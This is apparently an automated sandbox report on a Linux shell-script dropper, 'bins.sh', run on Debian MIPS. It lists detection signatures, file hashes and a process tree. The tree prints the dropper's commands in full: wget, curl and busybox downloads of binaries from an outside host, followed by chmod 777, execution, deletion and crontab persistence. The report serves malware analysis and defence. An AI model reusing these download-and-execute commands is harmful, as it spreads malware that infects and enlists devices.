Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    14/11/2024, 04:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-e5ynkstnht
  • SHA256 cf9e09e793c1e8d615f6601e14d0fae94f7dd2b894b7434de82b3ff61ff53b07
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1505) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 29 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:742
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          ./cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          2⤵
          • Executes dropped EXE
          PID:746
        • /bin/rm
          rm cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:750
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            ./7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm 7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:767
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:776
            • /bin/chmod
              chmod 777 7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              2⤵
              • File and Directory Permissions Modification
              PID:785
            • /tmp/7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              ./7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              2⤵
              • Executes dropped EXE
              PID:786
            • /bin/rm
              rm 7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
              2⤵
                PID:790
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:791
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:811
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:813
              • /bin/chmod
                chmod 777 vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                2⤵
                • File and Directory Permissions Modification
                PID:814
              • /tmp/vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                ./vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                2⤵
                • Executes dropped EXE
                PID:815
              • /bin/rm
                rm vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                2⤵
                  PID:817
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:818
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:819
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:824
                • /bin/chmod
                  chmod 777 UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  2⤵
                  • File and Directory Permissions Modification
                  PID:825
                • /tmp/UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  ./UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  2⤵
                  • Executes dropped EXE
                  PID:826
                • /bin/rm
                  rm UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                  2⤵
                    PID:828
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:829
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:844
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:857
                  • /bin/chmod
                    chmod 777 Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:861
                  • /tmp/Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    ./Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    2⤵
                    • Executes dropped EXE
                    PID:862
                  • /bin/rm
                    rm Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                    2⤵
                      PID:865
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:867
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:868
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:870
                    • /bin/chmod
                      chmod 777 e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:871
                    • /tmp/e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      ./e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      2⤵
                      • Executes dropped EXE
                      PID:872
                    • /bin/rm
                      rm e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                      2⤵
                        PID:874
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:875
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:876
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:878
                      • /bin/chmod
                        chmod 777 iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        2⤵
                        • File and Directory Permissions Modification
                        PID:879
                      • /tmp/iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        ./iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        2⤵
                        • Executes dropped EXE
                        PID:880
                      • /bin/rm
                        rm iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                        2⤵
                          PID:882
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:883
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:884
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:886
                        • /bin/chmod
                          chmod 777 Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                          2⤵
                          • File and Directory Permissions Modification
                          PID:887
                        • /tmp/Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                          ./Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:888
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:890
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:891
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:892
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:893
                              • /bin/rm
                                rm Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                                2⤵
                                  PID:895
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/nqmAShUDwDfupFtDEVp3xUayGJoM7m6zje
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:898
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/nqmAShUDwDfupFtDEVp3xUayGJoM7m6zje
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:979

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL

                                    • Path /tmp/7G21tPsoLNnATWEOyF2ZzsePC4fUunO6BL
                                    • Size 177KB
                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                    • MD5 SHA1 SHA512 SSDEEP

                                    7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T

                                    • Path /tmp/7OSwr44kn1gppk47jq96c3KYNAvBtTRk7T
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi

                                    • Path /tmp/UWF2Byh368XV3PpzMFfDdWbCIvQn5hbKFi
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3

                                    • Path /tmp/Y1aXd00ylcSZIWWciDSSg4oMkX3mPKsFy3
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m

                                    • Path /tmp/Z5DoVvgUlvbL3jzqycOJkACuHh3P3rxu6m
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP

                                    cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI

                                    • Path /tmp/cQykkfW8HG0V06Nr57w9MidZ0QRHgLytNI
                                    • Size 99KB
                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                    • MD5 SHA1 SHA512 SSDEEP

                                    e718lnlXcB0n5tGudHuderTgiqmX5UE6xF

                                    • Path /tmp/e718lnlXcB0n5tGudHuderTgiqmX5UE6xF
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb

                                    • Path /tmp/iEyg6AAOlwxrLFww0jJ6kdCTi7umBQSKUb
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC

                                    • Path /tmp/vUMRWH5WG3UV7mSyTgVZBDS05VBxmsCfQC
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.Oxc14g

                                    • Path /var/spool/cron/crontabs/tmp.Oxc14g
                                    • Size 210B
                                    • SHA256 f184918b04ae4b94a25b60aa79fc1aa534d13010b95da2c44b0c1d40b0b5bc09
                                    • MD5 SHA1 SHA512